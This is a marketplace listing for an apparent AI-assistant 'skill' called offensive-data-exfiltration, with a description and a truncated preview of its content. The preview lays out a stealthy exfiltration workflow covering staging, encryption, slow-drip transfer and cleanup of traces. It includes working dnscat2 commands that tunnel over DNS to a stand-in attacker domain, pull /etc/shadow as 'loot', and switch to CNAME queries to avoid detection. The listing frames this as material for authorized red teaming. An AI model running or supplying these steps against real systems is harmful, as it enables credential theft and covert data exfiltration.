offensive-data-exfiltration

Featured

Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation

Data & Documents 3,234 stars 523 forks Updated 1 weeks ago MIT

Install

View on GitHub

Quality Score: 91/100

Stars 20%
100
Recency 20%
90
Frontmatter 20%
70
Documentation 15%
100
Issue Health 10%
50
License 10%
100
Description 5%
100

Skill Content

# Data Exfiltration -- Offensive Methodology ## Quick Workflow 1. **Inventory target data.** Map files, databases, credentials. Assess volume and classification. 2. **Stage.** Copy to a controlled directory. Strip unnecessary metadata and deduplicate. 3. **Compress and split.** Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB). 4. **Encrypt.** AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext. 5. **Select channel.** DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access). 6. **Transmit.** Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates. 7. **Verify receipt.** Recompute SHA-256 on the receiving end and compare against source manifest. 8. **Clean up.** Securely delete staging, temp files, dropped tools, and any scheduled tasks. --- ## DNS Exfiltration MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS ### dnscat2 ```bash # Server -- set NS record for exfil.yourdomain.com -> your_server_ip first ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret # Client on target ./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret # Server console -- file transfer session -i 1 download /etc/shadow /tmp/loot/shadow ``` ```bash # Force CNAME queries to avoid TXT-based detection ./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret ``` ### iodine Tunneling ```bash # Server (authoritative NS) iodined -f -c -P...

Details

Author
SnailSploit
Repository
SnailSploit/Claude-Red
Created
6 months ago
Last Updated
1 weeks ago
Language
Python
License
MIT

Integrates with

Similar Skills

Semantically similar based on skill content — not just same category